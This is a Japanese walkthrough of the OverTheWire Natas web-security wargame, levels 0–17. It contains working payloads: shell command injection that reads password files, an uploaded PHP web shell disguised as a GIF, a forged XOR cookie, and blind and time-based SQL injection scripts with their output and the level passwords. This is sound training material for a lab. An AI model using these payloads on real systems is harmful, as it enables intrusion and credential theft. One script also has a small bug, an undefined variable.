ウェブセキュリティを扱ったOverTheWire NatasのLevel 0 ~ 17までの解法
natas0
開発者ツールでソースを確認するだけ
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.
<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->
</div>
</body>
natas1
右クリックが禁止されているが、F12キーで開発者ツールを開ける
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!
<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->
</div>
</body>
natas2
files
というフォルダがあることに注目して、そのフォルダの中を確認すると、users.txt
の中にパスワードがある。
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
eve:zo4mJWyNj2
mallory:9urtcpzBmH
natas3
natas2に似ているがどんなフォルダがあるのかわからない。そこでwebページのフォルダ構成などを自動で探索するdirb
コマンドなどを用いて隠しフォルダを探す。
dirb http://natas3.natas.labs.overthewire.org -u natas3:<passwd>
s3cr3t
というフォルダを発見でき、その中のusers.txt
にパスワードが書いてある。
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
natas4
natas5のページから来なければいけないので、curl
の-e
オプションを使ってreference URLを指定する
curl -u natas4:<passwd> -e http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org
<body>
<h1>natas4</h1>
<div id="content">
Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
natas5
ページにアクセスするとAccess disallowed. You are not logged in
と表示される。開発者ツールでcookieを確認するとloggedin=0
になっているので、1に書き換える。
Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
natas6
まずソースを確認する。
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
includes/secret.inc
を開くと、$secret
の値がハードコーディングされているので、これを入力する
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
natas7
page
で指定されたファイルを開いて表示しているようなので、http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
にアクセスすればよい、
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
natas8
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
bin2hex(strrev(base64_encode($secret))) == 3d3d516343746d4d6d6c315669563362
を満たすような$secret
を求めればよい。bin2hex(strrev(base64_encode($secret)))
の逆関数は、hexをbinに変換 -> 文字列を反転 -> base64デコード
であるので、これを以下のようにpythonで実装する。
import base64
base64.b64decode(bytes.fromhex('3d3d516343746d4d6d6c315669563362').decode()[::-1])
# >>> b'oubWYf2kBq'
このoubWYf2kBq
を入力すればよい
Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
natas9
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
grep -i $key dictionary.txt
に注目すると、我々は$key
を好きに入力できる。例えば; cat /etc/natas_webpass/natas10;
を入力すると、コマンドは;
で分割されるので、cat /etc/natas_webpass/natas10
を実行できる。
Output:
D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
natas10
/[;|&]/
が使えないので、前回のようなインジェクションができない。
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>
しかし、grep
は複数ファイルの検索ができるので、パスワードに含まれていそうな文字を-i
オプションで指定して、dictionary.txt
だけでなく/etc/natas_webpass/natas11
の検索も行えばよい。例えばa /etc/natas_webpass/natas11
を窓に入力すると、
/etc/natas_webpass/natas11:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
を得られる
natas11
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
$data["showpassword"] == "yes"
を満たすのが最終目標であり、このdata
はjson_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true)
によって生成されている。我々に分かっている情報は以下の通りである。
-
cookieを開発者ツールで確認すると、
data=MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D
である -
xor_encrypt
では、入力された平文Pのi文字目を、鍵Kを用いて、暗号文Cに変換している
C[i] = P[i] ^ K[i % len(K)]
-
data
のデフォルト値は{"showpassword":"no", "bgcolor":"#ffffff"}
である。
K[i % len(K)] = C[i] ^ P[i]
であることに注目すると、K
を復元することができる。
ct = base64.b64decode('MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=').decode()
pt = '{"showpassword":"no","bgcolor":"#ffffff"}'
key_ = ""
for c1, c2 in zip(ct, pt):
key_ += chr( ord(c1) ^ ord(c2) )
# key_ is KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK
key_
はKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK
であるので、繰り返し構造からK
はKNHL
と分かる。これを用いて'{"showpassword":"yes","bgcolor":"#ffffff"}'
をエンコードし、$data["showpassword"] == "yes"
を満たすようなcookieの値を生成する。
key = 'KNHL'
dummy_ct = ""
dummy_data = '{"showpassword":"yes","bgcolor":"#ffffff"}'
for i in range(len(dummy_data)):
dummy_ct += chr(ord(dummy_data[i]) ^ ord(key[i % len(key)]))
base64.b64encode(dummy_ct.encode())
# >>> b'MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz'
開発者ツールでcookieを書き換えた後、searchボタンを押すと以下のパスワードを得る。
The password for natas12 is YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
natas12
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
パスワードを表示するphpファイルをアップロードし、それにアクセスすればよい
<?php
$cmd = 'cat /etc/natas_webpass/natas13';
exec($cmd, $opt);
print_r($opt);
?>
ただし、アップロードされたファイルの名前がランダムなものに置き換えられることに注意する。
session1 = requests.Session()
url = "http://natas12.natas.labs.overthewire.org/"
user = "natas12"
passw = "YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG"
response = session1.post(url,
files = { "uploadedfile" : open('natas12.php', 'rb') },
data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" },
auth = (user, passw) )
print(response.text)
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
The file <a href="upload/7oncdtchl6.php">upload/7oncdtchl6.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
アップロードしたphpファイルにアクセスして、コマンドを実行させる。
response = session1.post(url + "upload/7oncdtchl6.php",
files = { "uploadedfile" : open('natas12.php', 'rb') },
data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" },
auth = (user, passw) )
print(response.text)
Array
(
[0] => lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
)
natas13
natas12と違ってexif_imagetype
関数をつかって、アップロードされたファイルが画像かどうかをチェックしている。
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
しかし、exif_imagetype
はファイルの先頭バイトのみを見て画像ファイルかどうかを判定しているので、natas12でアップロードしたphpファイルの先頭に画像を表すバイト列を付け足してアップロードすればよい
画像(GIF形式)に偽装したphpファイル
GIF89a
<?php
$cmd = 'cat /etc/natas_webpass/natas14';
exec($cmd, $opt);
print_r($opt);
?>
ファイルのアップロード
import requests
import re
url = "http://natas13.natas.labs.overthewire.org/"
user = "natas13"
passw = "lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9"
response = requests.get(url, auth=(user, passw))
session1 = requests.Session()
response = session1.post(url, files = { "uploadedfile" : open('natas13.php', 'rb') },
data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" }, auth = (user, passw) )
print(response.text)
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
The file <a href="upload/wyfyln6xup.php">upload/wyfyln6xup.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
アップロードしたファイルにアクセスして、パスワードを表示させるコマンドを実行させる。
result = session1.post(url + "upload/wyfyln6xup.php", auth = (user, passw) )
print(result.text)
# >>> GIF89a\nArray\n(\n [0] => qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP\n)\n'
natas14
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
} else {
?>
SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]
に注目する。username
とpassword
には任意の文字列を挿入できる。そこで、例えばusername=" OR "1" = "1
とpassword=" OR "1" = "1
とすると、実行されるSQL文は以下のようになる。
SELECT * from users where username="" OR "1" = "1" and password="" OR "1" = "1"
このwhere句は常にTrueとなるので、このusername
とpassword
を入力すればよい
Successful login! The password for natas15 is TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
natas15
SQL文を実行し、結果が1行以上あればThis user exists.
を表示し、そうでない場合はThis user doesn't exist.
を表示する。
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
今我々はusername
に好きな文字列を挿入できるので、例えばusername=natas16" and password like binary "%{c}%
とすると、実行されるSQL文はSELECT * from users where username="natas16" and password like binary "%{c}%"
となり、natas16のpasswordにc
が含まれる場合のみThis user exists.
が表示される。
この性質を利用して、まずnatas16のパスワードに含まれている文字を抽出する。
import requests
import re
import string
import tqdm
url = "http://natas15.natas.labs.overthewire.org/"
user = "natas15"
passw = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
response = requests.get(url, auth=(user, passw))
session1 = requests.Session()
characters = ''.join([string.ascii_letters,string.digits])
print("all ascii letters: ", characters)
chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):
response = session1.post(url,
data = {'username' : f'natas16" and password like binary "%{c}%'},
auth = (user, passw) )
if "This user exists." in response.text:
chracters_used_in_passwd.append(c)
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
all ascii letters: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:20<00:00, 2.96it/s]
chracters_used_in_passwd: ['a', 'd', 'f', 'g', 'i', 'j', 'k', 'l', 'q', 'r', 'u', 'A', 'D', 'E', 'H', 'O', 'P', 'R', 'T', 'V', 'Z', '2', '3', '5', '7', '9']
次に、これらの文字の組み合わせがパスワードに含まれているかを確認し、パスワードを完全に復元する。
restored_passw = ""
for _ in tqdm.tqdm(range(32)):
for c in chracters_used_in_passwd:
tmp_passw = restored_passw + c
response = session1.post(url,
data = {'username' : f'natas16" and password like binary "{tmp_passw}%'},
auth = (user, passw) )
if "This user exists." in response.text:
restored_passw = tmp_passw
print("final result: ", restored_passw)
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [04:18<00:00, 8.08s/it]
final result: TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
なお、LIKE
ではなくLIKE BINARY
を使うことで大文字と小文字を区別するようにしている。また%c%
では文字列のどこかにc
が含まれている場合にTrueとなるが、c%
の場合は文字列がc
から始まる場合のみTrueとなることに注意されたい。
natas16
入力された文字列をgrep
コマンドで検索している。
<body>
<h1>natas16</h1>
<div id="content">
For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
発想は前回と同様であり、パスワードに含まれる文字列を検索した時とそうでないときで画面出力が変わるようなコマンドをインジェクトする。適当な単語で検索すると、Africans
と単語が辞書に含まれており、さらにAfricans
を部分文字列として含むような単語は辞書に登録されていないことが分かる。この時、grep Africans$(grep {char} /etc/natas_webpass/natas17) dictionary.txt
というコマンドはchar
が/etc/natas_webpass/natas17
に含まれてないときのみAfricans
を返す。
url = "http://natas16.natas.labs.overthewire.org/"
user = "natas16"
passw = 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V'
response = requests.get(url, auth=(user, passw))
session1 = requests.Session()
characters = ''.join([string.ascii_letters,string.digits])
chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):
response = requests.get(url + f"?needle=Africans$(grep {c} /etc/natas_webpass/natas17)",
auth = (user, passw))
if 'Africans' not in response.text:
chracters_used_in_passwd.append(c)
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:38<00:00, 1.63it/s]
chracters_used_in_passwd: ['b', 'd', 'h', 'k', 'm', 'n', 's', 'u', 'v', 'B', 'C', 'E', 'H', 'I', 'K', 'L', 'R', 'S', 'U', 'X', '0', '1', '7', '9']
パスワードに含まれている文字のリストを得ることができたら、natas16と同様にそれらを結合したものがパスワードに含まれているかをチェックする。
restored_passw = ""
for i in tqdm.tqdm(range(32)):
for c in chracters_used_in_passwd:
tmp_passw = restored_passw + c
response = requests.get(url + f"?needle=Africans$(grep ^{tmp_passw} /etc/natas_webpass/natas17)",
auth = (user, passw))
if 'Africans' not in r.text:
restored_passw = tmp_passw
print("final result: ", restored_passw)
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [03:51<00:00, 7.24s/it]
final result: XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
natas 17
natas15に似ているが、画面出力部分がコメントアウトされていて、どんな入力を送っても結果は表示されない。
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
SQLクエリ自体は実行されているので、time-based SQL injectionを試す。natas15で用いたコードを少し改変し、SQLクエリの条件句にsleep(1)
を加えることで、パスワードに検索対象の文字が含まれていた場合は1秒待機するようにする。よって、結果が返ってくるまでの時間が1秒以上かかっている場合には、検索した文字がパスワードに含まれていたと判断できる。
import requests
import re
import string
import tqdm
url = "http://natas17.natas.labs.overthewire.org/"
user = "natas17"
passw = "XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd"
response = requests.get(url, auth=(user, passw))
session1 = requests.Session()
characters = ''.join([string.ascii_letters,string.digits])
print("all ascii letters: ", characters)
chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):
response = session1.post(url,
data = {'username' : f'natas18" and password like binary "%{c}%" and sleep(1) and "1" = "1'},
auth = (user, passw) )
if(response.elapsed.seconds >= 1):
chracters_used_in_passwd.append(c)
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
all ascii letters: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:43<00:00, 1.43it/s]
chracters_used_in_passwd: ['a', 'g', 'k', 'n', 'o', 'q', 'u', 'v', 'w', 'x', 'D', 'E', 'F', 'G', 'J', 'L', 'N', 'P', 'Q', 'U', 'V', 'Z', '4', '6', '8']
パスワードに含まれている文字のリストから、パスワードそのものを復元するコードもnatas15のコードを同様に改変すればよい。
restored_passw = ""
for _ in tqdm.tqdm(range(32)):
for c in chracters_used_in_passwd:
tmp_passw = restored_passw + c
response = session1.post(url,
data = {'username' : f'natas18" and password like binary "{tmp_passw}%" and sleep(1) and "1" = "1'},
auth = (user, passw) )
if(response.elapsed.seconds >= 1):
restored_passw = tmp_passw
break
print("final result: ", restored_passw)
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [02:42<00:00, 5.08s/it]
final result: 8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq